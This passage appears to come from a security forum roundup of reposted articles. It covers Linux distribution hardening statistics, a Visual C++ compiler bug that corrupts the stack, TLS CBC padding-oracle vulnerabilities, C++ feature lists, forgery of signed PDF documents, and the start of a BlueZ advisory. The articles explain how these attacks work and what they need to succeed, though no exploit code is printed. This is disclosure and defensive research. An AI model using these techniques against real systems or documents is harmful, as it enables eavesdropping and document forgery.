14.04 Ubuntu 16.04 Ubuntu 18.04 Critical (out of 12) 9 11 4 11 4 11 8 12 12 High (out of 37) 14 16 15 12 15 12 11 18 18 Medium (out of 37) 11 11 15 14 15 14 10 10 10 Low (out of 14) 5 5 6 6 6 6 6 5 5 Total 39 43 40 43 40 43 35 45 45 Table 2 Overall, we notice that newer kernels have stricter settings out-of-the-box. For instance, CentOS 6.10 and RHEL 6.10 running a kernel version 2.6.32 lack most of the critical features implemented in newer kernels such as SMAP, strict RWX permissions, base address randomization, or copy2usr protections. We should note at this point that, although many of the configuration options presented in Table 2 are not present for older kernel versions and are in reality not applicable, we count them as having the mitigation not present, and do not differentiate the two – likewise, if a configuration option is not present for a given kernel version and the desired setting is “not set”, this is still counted as a sane configuration. Another point we need to address when interpreting the above results is that some of the kernel configuration that increase the attack surface for attackers can also be utilized to implement security defenses. Such examples include uprobes and kprobes, kernel modules and BPF/eBPF. Our recommendation is to use the above mechanisms to actually provide defense-in-depth, as they are not trivial to exploit and their abuse already requires malicious actors to have a foothold on the system. However, if enabled, the system administrator must actively monitor for their abuse. Examining further the entries of Table 2, we observe that modern kernels provide several options that can hinder exploitability of vulnerabilities like information leaks and stack/heap overflows. However, we notice that even the latest commodity distributions do not yet deploy more sophisticated defenses (e.g., shipping with grsecurity patches), or state-of-the art defenses against code reuse attacks (e.g., combining randomization with R^X schemes for code). To make matters worse, even these more advanced defenses do not protect against the full spectrum of attacks. Thus, it is critical for system administrators to complement sane configurations with solutions that offer runtime detection and prevention of exploits. Application Analysis It comes as no surprise that different distributions have different package characteristics, compilation options, library dependencies, etc. Not only that, but differences exist even for distributions with close ancestry and packages with small amounts of dependencies (e.g., coreutils in Ubuntu vs. Debian). In order for us to evaluate the differences in the Linux distributions available in GCP, we downloaded all the available packages, extracted their contents, and analyzed their binaries and dependencies. For each package, we kept track of the other packages upon which it depends, and for each binary we kept track of its library dependencies. We outline our findings in this section. Distribution Packages In total, we downloaded 361,556 packages across all distributions, only fetching the packages available via the default mirrors. From the available packages of each distribution , we ignored packages that did not contain ELF executables, such as source packages, fonts, etc. After filtering out irrelevant packages, we analyzed a total of 129,569 packages, containing a total of 584,457 binaries. The total packages and binaries analyzed per distribution are presented in Figure 3. Figure 3 We notice that the more modern a distribution is, the more packages and binaries are added, which comes as no surprise. That being said, Ubuntu and Debian packages include many more binaries (both executables as well as dynamic modules and libraries) than those of CentOS, SUSE and RHEL, which is potentially impactful on Ubuntu and Debian’s attack surfaces4. This is particularly important given the fact often packages have dependencies to other packages, and thus, a vulnerability in a binary of a given package can affect many parts of the software ecosystem, similarly to how a vulnerable library might possibly affect all binaries importing it. As a point of reference, we present the distribution of the number of dependencies per package for the different OSes in Figure 4: Figure 4 We notice that for almost all distributions, 60% of the packages have at least 10 dependencies. Moreover, we notice that a few packages have large numbers of dependencies (> 100). The same applies to the reverse dependencies of a package: as expected, there are few packages which are used by many packages across the distribution, and therefore vulnerabilities in those select few are of high risk. As an example in the following table, we present the top 20 packages with the most reverse dependencies for SLES, Centos 7, Debian 9, and Ubuntu 18.04 (each cell denotes the package and the number of reverse dependencies). SLES 12.4 CentOS 7 Debian 9 Ubuntu 18.04 bc (3768) glibc-0:2.17-260.el7_6.3.x86_64 (7065) libc6 (23246) libc6 (21592) glibc (3667) glibc-0:2.17-260.el7.i686 (7036) libstdc++6 (7703) libstdc++6 (6575) dconf (1336) libgcc-0:4.8.5-36.el7.x86_64 (2433) libgcc1 (7184) libgcc1 (5683) at (1118) libstdc++-0:4.8.5-36.el7.x86_64 (2127) zlib1g (3416) libglib2.0-0 (3037) ed (1053) bash-0:4.2.46-31.el7.x86_64 (1664) libglib2.0-0 (3309) zlib1g (2485) sed (913) glib2-0:2.56.1-2.el7.x86_64 (1190) libgmp10 (2079) libgmp10 (1926) file (894) zlib-0:1.2.7-18.el7.x86_64 (1074) libx11-6 (1962) libx11-6 (1576) rpm (807) libX11-0:1.6.5-2.el7.x86_64 (638) libqt5core5a (1751) libqt5core5a (1486) pkg-config (746) cairo-0:1.15.12-3.el7.x86_64 (597) libcairo2 (1614) ruby (1315) coreutils (731) openssl-libs-1:1.0.2k-16.el7.x86_64 (597) libgdk-pixbuf2.0-0 (1547) nodejs (1298) perl (626) gdk-pixbuf2-0:2.36.12-3.el7.x86_64 (575) libpango-1.0-0 (1483) libqt5gui5 (1123) gcc (608) pango-0:1.42.4-1.el7.x86_64 (571) ruby (1452) dpkg (1045) python (542) atk-0:2.28.1-1.el7.x86_64 (495) nodejs (1434) libqt5widgets5 (984) xli (389) libxml2-0:2.9.1-6.el7_2.3.x86_64 (484) libqt5gui5 (1362) libghc-base-dev-4.9.1.0-d28d6 (898) tk (375) perl-4:5.16.3-294.el7_6.x86_64 (463) libpangocairo-1.0-0 (1295) libgdk-pixbuf2.0-0 (892) gd (309) python-0:2.7.5-76.el7.x86_64 (463) libatk1.0-0 (1202) python (874) bash (290) freetype-0:2.8-12.el7.x86_64 (417) libqt5widgets5 (1180) libgtk2.0-0 (869) systemd (236) systemd-0:219-62.el7.x86_64 (401) libatomic1 (1109) libgtk-3-0 (795) info (229) libgcc-0:4.8.5-36.el7.i686 (393) libxml2 (1101) libcairo2 (793) Table 3 Interestingly, although all the OSes analyzed were built for x86_64 architecture, and the majority of the packages also have a specified architecture of x86_64 and x86, we discovered that the packages often contained binaries for other architectures, as seen in Figure 5. Figure 5 In the following section we will dive deeper into the characteristics of the binaries analyzed. Binary Hardening Statistics At absolute minimum, we wanted to examine a basic set of hardening options for the binaries at hand. Several Linux distributions ship with scripts that perform such hardening checks. For instance, Debian/Ubuntu exposes a hardening-check script that provides such useful information. Here’s an example: $ hardening-check $(which docker) /usr/bin/docker: Position Independent Executable: yes Stack protected: yes Fortify Source functions: no, only unprotected functions found! Read-only relocations: yes Immediate binding: yes We notice that the above script checks for the following 5 hardening features: Position Independent Executable (PIE): Indicates if the text section of the program can be relocated in memory, so as to achieve randomization if ASLR is enabled in the kernel. Stack Protected: Whether stack canaries are in place to guard against stack smashing attacks. Fortify Source: Whether unsafe functions (e.g., strcpy) are replaced with their safer counterparts and calls that are verifiable at runtime replace their non-runtime-checked counterparts (e.g., __memcpy_chk vs memcpy). Read-only relocations (RELRO): Whether relocation table entries are marked as “read-only” if they were resolved before execution begun. Immediate binding: Whether the runtime linker resolves all relocations before starting program execution (this is equivalent to full RELRO). Are the above hardening mechanisms enough? Unfortunately, not at all. There are known techniques to bypass all the above defenses, but the more hardening defenses are in place, the higher the bar for the attacker. For instance, techniques to bypass RELRO mitigations are hindered if PIE and immediate binding are present. Likewise, full ASLR requires attackers to perform additional work to construct a working exploit. However, for sophisticated attackers, the above mitigations are something to expect — their absence in essence opens the door to your system much faster. Therefore, it is critical that at minimum they are put in place. For our analysis, we wanted to examine what percentage of the binaries in the distributions under examination had these mitigations in place, as well as the presence of three more mitigations: Non executable bit (NX), which prevents execution on any region that should not be executable such as the stack heap etc. RPATH/RUNPATH, which designates the run-time search path used by the dynamic loader to find the appropriate libraries. The former is a sine qua non for any modern system – its absence allows attackers to arbitrarily write a payload in memory and execute it as is. For the latter, non-sane runtime path configurations are responsible for introducing untrusted code that may lead to series of problems (e.g., privilege escalation as well as other issues). Stack Clash protection, which provides protection against attacks that cause the stack to overlap with other memory regions (e.g., heap). Given the recent exploits abusing stack clash vulnerabilities in systemd, we thought it relevant to include this mitigation in our dataset. So, without further ado, let us jump into the numbers: Tables 4 and 5 present the summary of our analysis for the executables and libraries of the different distributions, respectively.: We notice that with respect to NX enforcement, it is almost omnipresent, with few exceptions. Particularly, we notice slightly lower adoption in Ubuntu and Debian distributions compared to CentOS, RHEL and OpenSUSE. When it comes to stack canaries, we notice that they are missing from significant portions of the total executables, especially in distributions with older kernels, however there has been progress in latest Centos, RHEL, Debian and Ubuntu distributions. With the exception of Debian and Ubuntu 18.04, PIE support is poor in most distributions. Stack clash mitigations are scarce in OpenSUSE, Centos 7 and RHEL 7 and practically non-existent elsewhere. All distributions with modern kernels have some support for RELRO, with Ubuntu 18.04 leading the way, and Debian at second place. As mentioned earlier, the metrics presented in this table are averages across all different versions of a binary. Thus, we observe differences in say, PIE statistics compared to examining only the latest version of a binary (see for instance Debian’s progress with PIE packages). Moreover, whereas most distributions generally examine if at least some functions are fortified in a binary when counting the percentage of fortified binaries, for our analysis we measure a true percentage of the fortified functions. Therefore, if for a binary 5 out of 50 fortifiable functions are fortified, we will assign it a score of 0.1, as 10% of the functions are fortified. OS Canaries Stack Clash NX PIE RELRO (full) RELRO (partial) RUNPATH FORTIFIED SLES 12.4 55.34 1.15 99.29 6.33 7.30 89.84 85.62 41.04 CentOS 6.10 55.73 0.00 99.66 2.18 2.96 6.26 98.73 41.11 CentOS 7 84.55 0.15 99.83 5.83 11.80 88.00 98.44 41.51 RHEL 6.10 54.32 0.00 99.43 2.20 2.85 6.87 98.78 37.31 RHEL 7.6 82.26 0.13 99.56 5.57 10.93 88.89 98.45 36.66 Debian 9 73.03 0.01 97.78 38.04 35.34 62.15 88.48 31.10 Ubuntu 14.04 53.85 0.01 96.12 4.04 9.53 85.82 99.08 44.12 Ubuntu 16.04 75.58 0.01 95.84 4.76 12.01 85.09 97.54 43.54 Ubuntu 18.04 85.62 0.01 93.43 37.77 56.81 41.46 88.54 41.00 Table 4: Hardening Properties of Fig. 3 Executables (Percentage of Adoption) OS Canaries Stack Clash NX RELRO (full) RELRO (partial) RUNPATH FORTIFIED SLES 12.4 49.46 0.37 99.49 6.41 90.41 85.05 35.29 CentOS 6.10 53.15 0.00 99.91 2.72 5.37 98.66 38.07 CentOS 7 83.12 0.06 99.84 10.49 89.39 99.06 38.10 RHEL 6.10 52.28 0.00 99.91 2.51 5.96 98.71 38.06 RHEL 7.6 82.83 0.07 99.89 9.45 90.47 98.88 38.31 Debian 9 74.46 0.01 96.94 33.17 63.88 89.02 33.00 Ubuntu 14.04 43.37 0.01 94.60 9.40 85.00 98.79 38.89 Ubuntu 16.04 67.37 0.01 93.29 12.23 83.76 96.73 35.95 Ubuntu 18.04 81.96 0.01 89.57 32.01 65.97 88.35 33.81 Table 5:Hardening Properties of Fig. 3 Libraries (Percentage of Adoption) So are things progressing? They definitely are: this can be seen from statistics on individual distributions (e.g., Debian), as well as from the above tables. As a use case, we present a summary of the hardening mechanism adoption for three consecutive Ubuntu LTS distributions in Figure 5 (we omit stack-clash statistics due to the low adoption). We notice that consistently more binaries have stack canaries from version to version, whereas significantly more binaries in 18.04 are shipped with full RELRO compared to previous versions. Ubuntu Executables Ubuntu Libraries Figure 6 Unfortunately, multiple executables are present still in the different distributions, having none of the above mitigations. For instance, taking a quick look at Ubuntu 18.04, we notice the ngetty binary (which is a getty replacement) ships without canaries, NX, PIE and fortified source, and so do the mksh and lksh shells, the picolisp interpreter as well as the packages nvidia-cuda-toolkit (which is a popular package for creating GPU-accelerated applications like machine learning frameworks) and klibc-utils. Similarly, the mandos-client binary (which is an administrative tool allowing unattended reboots with encrypted root filesystems), as well as the rsh-redone-client (a re-implementation of rsh and rlogin), ship without NX and have SUID set :(. Likewise, several suid-binaries lack basic protections like stack canaries (e.g., the Xorg.wrap binary of the Xorg package). Summary & Closing Remarks In this post, we highlighted several characteristics of modern Linux distributions when it comes to hardening. Our analysis demonstrated that the latest Ubuntu LTS distribution (18.04) has on average the strongest OS-level and application mitigations amongst the distributions with newer kernels that we examined such as Ubuntu 14.04, 12.04 and Debian 9. The examined CentOS, RHEL and OpenSUSE distributions in our dataset, however, ship a tighter set of packages by default, and in their latest versions (for CentOS and RHEL) have higher numbers of stack clash adoption compared to their debian-based rivals (Debian and Ubuntu). Comparing CentOS and RedHat versions, we notice large improvements in deployment of stack canaries and RELRO from versions 6 to 7, however on average more functions are fortified in CentOS than in RHEL. Overall, we notice that the most progress to be made across all distributions is with regards to adoption of PIE, which, with the exception of Debian 9 and Ubuntu 18.04 is below 10% for the binaries of our dataset. Finally we should note that while custom analysis such the above is possible, there is a plethora of security tools (e.g., Lynis, Tiger, Hubble) that may be used for analysis of a system and to prevent insecure OS and application configurations. Unfortunately, even with hardening mitigations and sane configurations, vulnerabilities eventually will lead to exploitation. This is why we strongly believe that it is vital to have solid real-time monitoring and prevention of attacks, by focusing and preventing exploitation patterns. We will explore such exploitation patterns in future posts, as well as how one defend against them. Stay tuned! Notes 1. Static analysis tools examine code properties without executing the software, by only examining the source code or generated binary. Dynamic techniques require execution of a piece of software and perform runtime analysis.↩ 2. W3techs reports that some UNIX variant is used by 69.2% of all websites, and the percentage is even larger when it comes to supercomputers. A multitude of other sources (e.g., 1, 2, 3) verify this trend, which is especially true for container deployments — even back in 2016, Ubuntu alone was reported to have over 60 million images launched by docker users.↩ 3. For a thorough explanation of the utility of the above settings, the interested reader may refer to the KSPP project or to our kernel configuration glossary. In future posts, we will elaborate more on why many of these came to exist, as well as on possible ways to exploit the system in their absence.↩ 4. We should note that the numbers presented include all binaries across different versions of a software package. For instance, a dynamic module used by Python will be analyzed multiple times, separately for python-2.6, 2.7 etc. Our averages are presented across all packages.↩ Theofilos Petsios( Research Scientist ) Theofilos Petsios is a Research Scientist at Capsule8. His interests include systems and application security, binary analysis and privacy. Over the years, he has presented his research at various conferences internationally, including IEEE Security & Privacy, ACM CCS, ACM EuroSys and others. https://github.com/nettrino Capsule8 Labs Sursa: https://capsule8.com/blog/millions-of-binaries-later-a-look-into-linux-hardening-in-the-wild/
    1 point
  5. Finding Unicorns: When the C++ Compiler Writes the Vuln February 28, 2019 | Simon Zuckerbraun It’s entirely commonplace for vulnerabilities to arise from C++ programming errors. It’s a rarity, though, when a programmer writes a correct C++ program and the compiler transforms it into object code containing a vulnerability. That’s what I experienced this past October, though, when a tool I wrote crashed and I discovered that the fault lay with the Visual C++ compiler. Microsoft addressed our vulnerability report as CVE-2019-0546, though, as we will explain, it is still not fully patched. Where I Found the Unicorn I was writing some instrumentation for an x86 module that had been compiled with a Borland toolchain. The instrumentation framework expected a callback function that would perform the task of calling the original function within the target module. The target function’s calling convention was incompatible with Microsoft Visual C++, so my callback needed to contain custom __asm code. To streamline matters, I defined the callback as a lambda, like this: The lambda defines a callback function that has one parameter, specifying the address of the original function. The callback copies the parameters to the original function (m, s) from captured variables and places them in registers as expected by the original function. (Note that the first parameter goes into @eax. This is not a Microsoft-compatible calling convention, hence the need for __asm.) Next, it calls the original function. Finally, it copies the return value of the original function from @eax into captured variable r. The compiler accepted this code without complaint, but weirdly, the compiled code did not work as expected. The instructions generated did not reference the correct stack locations for the captured variables. When reading from the captured variables, incorrect stack locations were accessed, potentially leaking sensitive stack data. When writing the captured variable r, the write went to an improper location on the stack, potentially corrupting data or control flow. The bug is triggered by a lambda expression meeting these two conditions: The lambda has an implicit capture, either by reference or by copy. The lambda contains an __asm block. The PoC Soon I put together a self-contained PoC. This is for Visual Studio 2015, and is intended to be compiled for the Release x86 configuration: Note that the lambda correctly accesses variable x, because x is a global and not a stack-based variable. However, when it writes into variable y, it writes to the wrong stack address and corrupts the @ebp value on the frame. When control returns to main, @ebp contains the corrupted value of 0xdeadbeef. Here’s the resulting crash: Visual Studio 2017 is also affected. The Patch Interestingly, although this bug impacts both Visual Studio 2015 and Visual Studio 2017 (and possibly other versions that we have not tested), Microsoft only released patches for Visual Studio 2017. The vulnerability shown above is still present today in the latest update of Visual Studio 2015 (version 14.0.25431.01 Update 3). When asked about this decision, Microsoft stated, “This specific report, CVE-2019-0546, is about disallowing inline assembly inside C++ lambda bodies. The said vulnerability is about downloading and running untrusted code, which has always existed in all releases prior VS2017 Update 9 that supported lambdas. The scenario is not common coding practice and considering we've always had this in all our prior releases and have not seen any evidences of exploit it would not make sense to port the change as hotfix from 15.9 to prior VS releases.” Also, I find it a bit amusing that Microsoft’s fix for Visual Studio 2017 was to remove support for __asm blocks within lambdas. Now, if you try to compile code such as the above PoC on Visual Studio 2017, you get the following compiler error: So, I am now the proud owner of both a CVE in the Visual C++ compiler as well as a brand new CXXXX compiler error. While this may be an uncommon scenario, we still believe it worth patching and hope Microsoft reconsiders in the future. It should also be noted that while Microsoft rated this bug as Moderate, other bugs in Visual Studio have received Important severity ratings. If you’re still on the fence about deploying this update, we would consider it Important since it could allow for attacker-controlled code to execute at the level of the logged on user. Conclusion It’s long been recognized as a theoretical possibility [PDF] that a compiler could surreptitiously introduce a backdoor or vulnerable behavior into software at compile time. In practice, it is exceedingly rare to hear of a compiler introducing a vulnerability into 100% correct, non-malicious code, whether maliciously or, as in this case, as a result of a compiler bug. On an extraordinary day out in the wilds, though, you might find a unicorn. You can find me on Twitter at @HexKitchen, and follow the team for the latest in exploit techniques and security patches. Sursa: https://www.zerodayinitiative.com/blog/2019/2/28/finding-unicorns-when-the-c-compiler-writes-the-vuln
    1 point
  6. TLS Padding Oracles The TLS protocol provides encryption, data integrity, and authentication on the modern Internet. Despite the protocol’s importance, currently-deployed TLS versions use obsolete cryptographic algorithms which have been broken using various attacks. One prominent class of such attacks is CBC padding oracle attacks. These attacks allow an adversary to decrypt TLS traffic by observing different server behaviors which depend on the validity of CBC padding. We evaluated the Alexa Top Million Websites for CBC padding oracle vulnerabilities in TLS implementations and revealed vulnerabilities in 1.83% of them, detecting nearly 100 different vulnerabilities. These padding oracles stem from subtle differences in server behavior, such as responding with different TLS alerts, or with different TCP header flags. We suspect the subtlety of different server responses is the reason these padding oracles were not detected previously. Full Technical Paper Robert Merget, Juraj Somorovsky, Nimrod Aviram, Craig Young, Janis Fliegenschmidt, Jörg Schwenk, Yuval Shavitt: Scalable Scanning and Automatic Classification of TLS Padding Oracle Vulnerabilities. USENIX Security 2019 The full paper will be presented at USENIX Security in August 2019. Who Is Affected? Since the identification of different vendors is fairly difficult and requires the cooperation of the scanned websites, a lot of our vulnerabilities are not attributed yet. On this Github page, we collect the current status of the responsible disclosure process and give an overview of the revealed vulnerabilities. The currently identified and fixed vulnerabilities are: OpenSSL. CVE-2019-1559. OpenSSL Security Advisory: 0-byte record padding oracle Citrix. CVE-2019-6485. TLS Padding Oracle Vulnerability in Citrix Application Delivery Controller (ADC) and NetScaler Gateway. F5. CVE-2019-6593. TMM TLS virtual server vulnerability CVE-2019-6593. The disclosure process is still running with a handful of vendors. Some of them consider to disable or even completely remove CBC cipher suites from their products. Recommendations for TLS Implementations Developers If you are developing a TLS implementation, this is obviously a good reminder to review your CBC code and make sure it does not expose a padding oracle; obviously, this is easier said than done. We therefore invite developers of TLS implementations to contact us in this matter. We will evaluate your implementation and if you are vulnerable, work with you to understand the nature of the vulnerability. (To be clear, we will do this free of charge). We will link the final version of our scanning tool detecting these vulnerabilities in the next days. Background Cipher Block Chaining (CBC) mode of operation The CBC mode of operation allows one to encrypt plaintexts of arbitrary length with block ciphers like AES or 3DES. In CBC mode, each plaintext block is XOR’ed to the previous ciphertext block before being encrypted by the block cipher. We simply refer to Wikipedia for more information. Padding oracle attacks exploit the CBC malleability. The problem of CBC is that it allows an attacker to perform meaningful plaintext modifications without knowing the symmetric key. More concretely, it allows an attacker to flip a specific plaintext bit by flipping a bit in the previous ciphtertext block. This CBC property has already been exploited in many attacks, for example, most recently in the Efail attack. CBC and its usage in the TLS record layer In order to protect messages (records) exchanged between TLS peers, it is possible to use different cryptographic primitives. One of them is a MAC combined with AES in CBC mode of operation. Unfortunately, TLS decided to use the MAC-then-PAD-then-Encrypt mechanism, which means that the encryptor first computes a MAC over the plaintext, then pads the message to achieve a multiple of block length, and finally uses AES-CBC to encrypt the ciphertext. For example, if we want to encrypt five bytes of data and use HMAC-SHA (with 20 bytes long output), we end up with two blocks. The second block needs to be padded with 7 bytes 0x06. Padding oracle attacks In 2002, Vaudenay showed that revealing padding failures after message decryption could have severe consequences for the security of the application. Since the CBC malleability allows an attacker to flip arbitrary message bytes, the attacker is also able to modify specific padding bytes. If the application decrypts the modified message and reports problems related to padding validity, the attacker is able to learn the underlying plaintext. We refer to this explanation by Erlend Oftedal for more details. In TLS, the attack is a bit more complex because the targeted TLS connection is always closed once invalid padding is triggered. Nevertheless, the vulnerability is practically exploitable in BEAST scenarios and allows the attacker to decrypt repeated secrets like session cookies. Therefore, it is very important that the TLS implementations do not reveal any information about padding validity. This includes different TLS alerts, connection states, or even timing behavior. Vulnerability Details OpenSSL (CVE-2019-1559) With the help of the Amazon security team, we identified a vulnerability which was mostly found on Amazon servers and Amazon Web Services (AWS). Hosts affected by this vulnerability immediately respond to most records with BAD_RECORD_MAC and CLOSE_NOTIFY alerts, and then close the connection. However, if the hosts encounter a zero-length record with valid padding and a MAC present, they do not immediately close the TCP connection, regardless of the validity of the MAC. Instead, they keep the connection alive for more than 4 seconds after sending the CLOSE_NOTIFY alert. This difference in behavior is easily observable over the network. Note that the MAC value does not need to be correct for triggering this timeout, it is sufficient to create valid padding which causes the decrypted data to be of zero length. Further investigations revealed that the Amazon servers were running an implementation which uses the OpenSSL 1.0.2 API. In some cases, the function calls to the API return different error codes depending on whether a MAC or padding error occurred. The Amazon application then takes different code paths based on these error codes, and the different paths result in an observable difference in the TCP layer. The vulnerable behavior only occurs when AES-NI is not used. Citrix (CVE-2019-6485) The vulnerable Citrix implementations first check the last padding byte and then verify the MAC. If the MAC is invalid, the server closes the connection. This is done with either a connection timeout or an RST, depending on the validity of the remaining padding bytes. However, if the MAC is valid, the server checks whether all other remaining padding bytes are correct. If they are not, the server responds with a BAD_RECORD_MAC and an RST (if they are valid, the record is well-formed and is accepted). This behavior can be exploited with an attack similar to POODLE. FAQ Can these vulnerabilities be exploited? Yes, but exploitation is fairly difficult. If you use one of the above implementations, you should still make sure you have patched. To be more specific, the attack can be exploited in BEAST scenarios. There are two prerequisites for the attack. First, the attacker must be able to run a script in the victim's browser which sends requests to a vulnerable website. This can be achieved tempting the victim to visit a malicious website. Second, the attacker must be able to modify requests sent by the browser and observe the server behavior. The second prerequisite is much harder to achieve, because the attacker must be an active Man-in-the-Middle. Have these vulnerabilities actually been exploited? We have no reason to believe these vulnerabilities have been exploited in the wild so far. I used a vulnerable implementation. Do I need to revoke my certificate? No, this attack does not recover the server's private key. Do I need to update my browser? No. These are server-side vulnerabilities, and can only be fixed by deploying a fix on the server. How many implementations are vulnerable? Our Alexa scans identified more than 90 different server behaviors triggered in our padding oracle scans. Some of them will probably be caused by outdated servers. However, we assume many of the newest servers will need fixes. How is this related to previous research? In 2002, Vaudenay presented an attack which targets messages encrypted with the CBC mode of operation. The attack exploits the malleability of the CBC mode, which allows altering the ciphertext such that specific cleartext bits are flipped, without knowledge of the encryption key. The attack requires a server that decrypts a message and responds with 1 or 0 based on the message validity. This behavior essentially provides the attacker with a cryptographic oracle which can be used to mount an adaptive chosen-ciphertext attack. The attacker exploits this behavior to decrypt messages by executing adaptive queries. Vaudenay exploited a specific form of vulnerable behavior, where implementations validate the CBC padding structure and respond with 1 or 0 accordingly. This class of attacks has been termed padding oracle attacks. Different types of CBC padding oracles have been used to break the confidentiality of TLS connections. These include Lucky Thirteen, Lucky Microseconds, Lucky 13 Strikes Back, and Ronen et al. Another important attack is POODLE (Padding Oracle On Downgraded Legacy Encryption) which targets SSLv3 and its specific padding scheme. In SSLv3 only the last padding byte is checked. Möller, Duong and Kotowicz exploited this behavior and showed that for implementation it is necessary to correctly verify all padding bytes. Similar behaviors were found in several TLS implementations. How is it possible that such an old vulnerability is still present in 2019? Writing this code correctly is very hard, even for experts. For example, in one instance experts have introduced a severe form of this vulnerability while attempting to patch the code to eliminate it. Identifying these vulnerabilities is also hard since some of them only manifest under a combination of specific conditions. For example, the OpenSSL vulnerability only manifests in OpenSSL version 1.0.2, only for non-stitched [1] cipher suites, when AES-NI is not used. It also requires subtle interactions between external code that calls the OpenSSL API, and the OpenSSL code itself. We take this opportunity to suggest deprecating CBC cipher suites in TLS altogether. [1]: Stitched ciphersuites is an OpenSSL term for optimised implementations of certain commonly used ciphersuites. See here for more details. Why are you not submitting your findings via BugBounty websites? We tried to get in contact with security teams via common BugBounty sites but had very bad experiences. Man-in-the-Middle attacks are usually out of scope for most website owners, and security teams did not know how to deal with this kind of issue. We lost a lot of "Points" on Hackerone and BugCrowd for reporting such issues (with the intention to learn the vendor) and learned absolutely nothing by doing this. All in all a very frustrating experience. We hope that our new approach of disclosure is more useful to get in contact with developers and vendors. Can this attack be used against Bitcoin? No. This attack is based on the vulnerability present in the Cipher Block Chaining (CBC) mode of operation. Bitcoin does not use CBC. However, if you are a blockchain designer, we strongly recommend you to evaluate the security of your block chaining technology and, especially, its padding scheme. Do you have a name or a logo for this vulnerability? No. Sorry, not this time. Sursa: https://github.com/RUB-NDS/TLS-Padding-Oracles
    1 point
  7. C++17/14/11 Overview Many of these descriptions and examples come from various resources (see Acknowledgements section), summarized in my own words. Also, there are now dedicated readme pages for each major C++ version. C++17 includes the following new language features: template argument deduction for class templates declaring non-type template parameters with auto folding expressions new rules for auto deduction from braced-init-list constexpr lambda lambda capture this by value inline variables nested namespaces structured bindings selection statements with initializer constexpr if utf-8 character literals direct-list-initialization of enums C++17 includes the following new library features: std::variant std::optional std::any std::string_view std::invoke std::apply std::filesystem std::byte splicing for maps and sets parallel algorithms C++14 includes the following new language features: binary literals generic lambda expressions lambda capture initializers return type deduction decltype(auto) relaxing constraints on constexpr functions variable templates C++14 includes the following new library features: user-defined literals for standard library types compile-time integer sequences std::make_unique C++11 includes the following new language features: move semantics variadic templates rvalue references forwarding references initializer lists static assertions auto lambda expressions decltype template aliases nullptr strongly-typed enums attributes constexpr delegating constructors user-defined literals explicit virtual overrides final specifier default functions deleted functions range-based for loops special member functions for move semantics converting constructors explicit conversion functions inline-namespaces non-static data member initializers right angle brackets C++11 includes the following new library features: std::move std::forward std::thread std::to_string type traits smart pointers std::chrono tuples std::tie std::array unordered containers std::make_shared memory model std::async Sursa: https://github.com/AnthonyCalandra/modern-cpp-features
    1 point
  8. How to break PDF Signatures If you open a PDF document and your viewer displays a panel (like you see below) indicating that the document is signed by invoicing@amazon.de and the document has not been modified since the signature was applied You assume that the displayed content is precisely what invoicing@amazon.de has created. During recent research, we found out that this is not the case for almost all PDF Desktop Viewers and most Online Validation Services. So what is the problem? With our attacks, we can use an existing signed document (e.g., amazon.de invoice) and change the content of the document arbitrarily without invalidating the signatures. Thus, we can forge a document signed by invoicing@amazon.de to refund us one trillion dollars. To detect the attack, you would need to be able to read and understand the PDF format in depth. Most people are probably not capable of such thing (PDF file example). To recap this, you can use any signed PDF document and create a document which contains arbitrary content in the name of the signing user, company, ministry or state. Important: To verify the signature you need to trust the amazon.de certificate, which you would if you get signed PDFs from Amazon, otherwise the signature is still valid, but the certificate is not trusted. Furthermore, due to our responsible disclosure process, most applications already implemented countermeasure against our attack, you can find a vulnerable Adobe Acrobat DC Reader version here. Who uses PDF Signatures? Since 2014, organizations delivering public digital services in an EU member state are required to support digitally signed documents such as PDF files by law (eIDAS). In Austria, every governmental authority digitally signs any document §19. Also, any new law is legally valid after its announcement within a digitally signed PDF. Several countries like Brazil, Canada, the Russian Federation, and Japan also use and accept digitally signed documents. The US government protects PDF files with PDF signatures, and individuals can report tax withholdings by signing and submitting a PDF. Outside Europe, Forbes calls the electronic signature and digital transactions company DocuSign as No. 4 in its Cloud 100 list. Many companies sign every document they deliver (e.g., Amazon, Decathlon, Sixt). Standardization documents, such as ISO and DIN, are also protecting by PDF signatures. Even in the academic world, PDF signatures are sometimes used to sign scientific papers (e.g., ESORICS proceedings). According to Adobe Sign, the company processed 8 billion electronic and digital signatures in 2017 alone. Currently, we are not aware of any exploits using our attacks. How bad is it? We evaluated our attacks against two types of applications. The commonly known desktop applications everyone uses on a daily bases and online validation services. The last one is often used in the business world to validate the signature of a PDF document returning a validation report as a result. During our research, we identified 21 out of 22 desktop viewer applications and 5 out of 7 online validation services vulnerable against at least one of our attacks. You can find the detailed results of our evaluation on the following web pages: Desktop Viewer Applications Online Validation Services How can I protect myself? As part of our research, we started a responsible disclosure procedure on 9th October 2018, after we identified 21 out 22 desktop viewer applications and 5 out of 7 online validation services vulnerable against at least one of our attacks. In cooperation with the BSI-CERT, we contacted all vendors, provided proof-of-concept exploits, and helped them to fix the issues. You can take a look at which PDF Reader you are using and compare the versions. If you use one of our analyzed Desktop Viewer Applications you already should have got an update for you Reader. My PDF Reader is not listed If you use another Reader, you should contact the support team for your application. Continue reading Sursa: https://www.pdf-insecurity.org/
    1 point
  9. SSD Advisory – Linux BlueZ Information Leak and Heap Overflow February 25, 2019 (This advisory follows up on a presentation provided during our offensive security event in 2018 in Hong Kong – come join us at TyphoonCon – June 2019 in Seoul for more offensive security lectures and training) Vulnerabilities Summary The following advisory discuss about two vulnerabilities found in Linux BlueZ bluetooth module. One of the core ideas behind Bluetooth is allowing interoperability between a wide range of devices from different manufacturers. This is one of the reasons that the Bluetooth specification is extremely long and complex. Detailed descriptions of a wide range of protocols that support all common use-cases ensure that different Bluetooth implementations can work together. However, from an attackers point of view this also means that there is a lot of unneeded complexity in the Bluetooth stack which provides a large attack surface. Due to the modular nature of Bluetooth, some critical features such as packet fragmentation are found redundantly in multiple protocols that are part of the Bluetooth core specification. This makes correct implementation very complicated and increases the likelihood of security issues. Vendor Response We have contacted the Bluez maintainer on 23/8/2018 and sent a report describing the two vulnerabilities. The vendor responded “I got the message and was able to decrypt it, but frankly I don’t know when I get to look at it at confirm the issue.”. We have sent few more emails to the vendor since the first report and also proposed patches for the vulnerabilities but no fix has been issued until the day of writing this post. Proposed patches have been provided by, Luiz Augusto von Dentz, at the bottom of this advisory. CVE CVE-2019-8921 CVE-2019-8922 Credit An independent security researcher, Julian Rauchberger, has reported this vulnerability to SSD Secure Disclosure program. Affected systems Linux systems with BlueZ module with versions 5.17-5.48 (latest at the time of writing this advisory) Vulnerability Details To support the huge range of potential use cases for Bluetooth, the specification describes many different protocols. For the 